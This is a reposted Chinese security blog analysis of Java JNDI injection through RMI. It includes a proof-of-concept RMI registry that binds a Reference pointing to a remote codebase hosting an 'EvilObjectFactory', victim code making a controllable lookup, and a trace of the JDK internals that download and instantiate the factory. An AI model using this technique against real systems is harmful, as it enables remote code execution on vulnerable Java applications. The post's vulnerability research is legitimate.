2017-10-18 11:07:35
阅读：1332次
点赞(0)
收藏
来源： n1nty
前言
一篇炒冷饭的文章，全当笔记在写了，这个漏洞涉及到 JNDI与 RMI。 这里我主要只写一些其他的 “JNDI注入” 分析文章没写过的东西，如果你看的不是很明白的话可以配合其他人写的分析文章一起看。
需要知道的背景知识
JNDI的概念不细写了，只需要知道我们通过 JNDI 的接口就可以存取 RMI Registry/LDAP/DNS/NIS等所谓 Naming Service 或 DirectoryService的内容
JNDIAPI中涉及到的常见的方法与接口的作用，如：Context.lookup
JNDI中 ServiceProvider以及 ObjectFactory 的作用
Reference类的作用
RMI的相关基础知识，可以看我另一篇公众号，我记的非常全。
JNDI Service Provider
JNDI与 JNDI Service Provider的关系类似于 windows中 SSPI与 SSP 的关系。前者是统一抽象出来的接口，而后者是对接口的具体实现。如上面提到的默认的 JNDI Service Provider有 RMI/LDAP等等。。
ObjectFactory
每一个 Service Provider可能配有多个 Object Factory。Object Factory用于将 Naming Service（如 RMI/LDAP）中存储的数据转换为 Java中可表达的数据，如 Java 中的对象或 Java 中的基本数据类型。 JNDI的注入的问题就出在了可远程下载自定义的 ObjectFactory类上。你如果有兴趣的话可以完整看一下 Service Provider是如何与多个 ObjectFactory进行交互的。
PoC
publicstaticvoidmain(String[]args)throwsException { //在本机1999端口开启rmiregistry，可以通过JNDIAPI来访问此rmiregistry Registryregistry=LocateRegistry.createRegistry(1999); //创建一个Reference，第一个参数无所谓，第二个参数指定ObjectFactory的类名： //jndiinj.EvilObjectFactory //第三个参数是codebase，表明如果客户端在classpath里面找不到 //jndiinj.EvilObjectFactory，则去http://localhost:9999/下载 //当然利用的时候这里应该是一个真正的codebase的地址 Referenceref=newReference("whatever", "jndiinj.EvilObjectFactory","http://localhost:9999/"); //利用ReferenceWrapper将前面的Reference对象包装一下 //因为只为只有实现Remote接口的对象才能绑定到rmiregistry里面去 ReferenceWrapperwrapper=newReferenceWrapper(ref); registry.bind("evil",wrapper); }EvilObjectFactory
代码如下：
publicclassEvilObjectFactoryimplementsObjectFactory{ publicObjectgetObjectInstance(Objectobj,Namename, ContextnameCtx, Hashtable<?,?>environment) throwsException{ System.out.println("executed"); returnnull; } }Victim
Victim需要执行 Context.lookup，并且 lookup的参数需要我们可控。
publicstaticvoidmain(String[]args)throwsException{ Contextctx=newInitialContext(); //ctx.lookup参数需要可控 System.out.println(ctx.lookup("rmi://localhost:1999/evil")); }我的疑问
最开始看到 PoC 的时候，我以为这是 RMI Class Loading导致的受害者会去指定的 codebase下载我们指定的类并去实例化，因为产生了很大的疑惑。
因为 RMI Class Loading是有条件限制的，比如说默认禁用，以及与 JVM的 codebase配置有很大的关系。
PoC里面向 rmi registry绑定 ReferenceWrapper的时候，真正绑定进去的应该是它的 Stub才对，Stub的对象是怎么造成客户端的代码执行的。
因为懒，这个疑问一直存在了很长时间，直到我开始正式去调试跟一下这个漏洞看看到底发生了什么。后来我看在 marshalsec那篇 pdf 里面也提到了这个问题。
Victim端的触发流程
1.ctx.lookup最终会进入com.sun.jndi.rmi.registry.RegistryContext.lookup。因为传入的 jndi url是以 rmi://开头的。
publicObjectlookup(Namevar1)throwsNamingException{ if(var1.isEmpty()){ returnnewRegistryContext(this); }else{ Remotevar2; try{ var2=this.registry.lookup(var1.get(0)); }catch(NotBoundExceptionvar4){ thrownewNameNotFoundException(var1.get(0)); }catch(RemoteExceptionvar5){ throw(NamingException)wrapRemoteException(var5).fillInStackTrace(); } returnthis.decodeObject(var2,var1.getPrefix(1)); } }2.在 lookup里面通过 this.registry.lookup查找出远程对象，赋给 var2。这里的 var2确实是com.sun.jndi.rmi.registry.ReferenceWrapper_Stub类型的。证明我的想法是没有错的，存入 rmi registry的确实是一个 stub。
3.进入 this.decode
privateObjectdecodeObject(Remotevar1,Namevar2)throwsNamingException{ try{ Objectvar3=var1instanceofRemoteReference? ((RemoteReference)var1).getReference():var1; returnNamingManager.getObjectInstance(var3,var2, this,this.environment); }catch(NamingExceptionvar5){ throwvar5; }catch(RemoteExceptionvar6){ throw(NamingException)wrapRemoteException(var6).fillInStackTrace(); }catch(Exceptionvar7){ NamingExceptionvar4=newNamingException(); var4.setRootCause(var7); throwvar4; } }4.this.decode内将 stub 还原成了 Reference，这里解决了我一个疑惑。随后进入 NamingManager.getObjectInstance
5.NamingManager.getObjectInstance内部发现当前 JVM中不存在 Reference中指定的 object factory，就自动去我们指定的 codebase地址下载（并不是利用的 RMI Class Loading机制，所以解决了我另一个疑惑）并实例化我们指定的 Object Factory类，并调用其javax.naming.spi.ObjectFactory#getObjectInstance方法。
参考资料
http://docs.oracle.com/javase/jndi/tutorial/TOC.html
http://www.javaworld.com/article/2076888/core-java/jndi-overview--part-1--an-introduction-to-naming-services.html
本文转载自 n1nty
原文链接：https://mp.weixin.qq.com/s/YeskekfkHhHH4kA-02W7Yg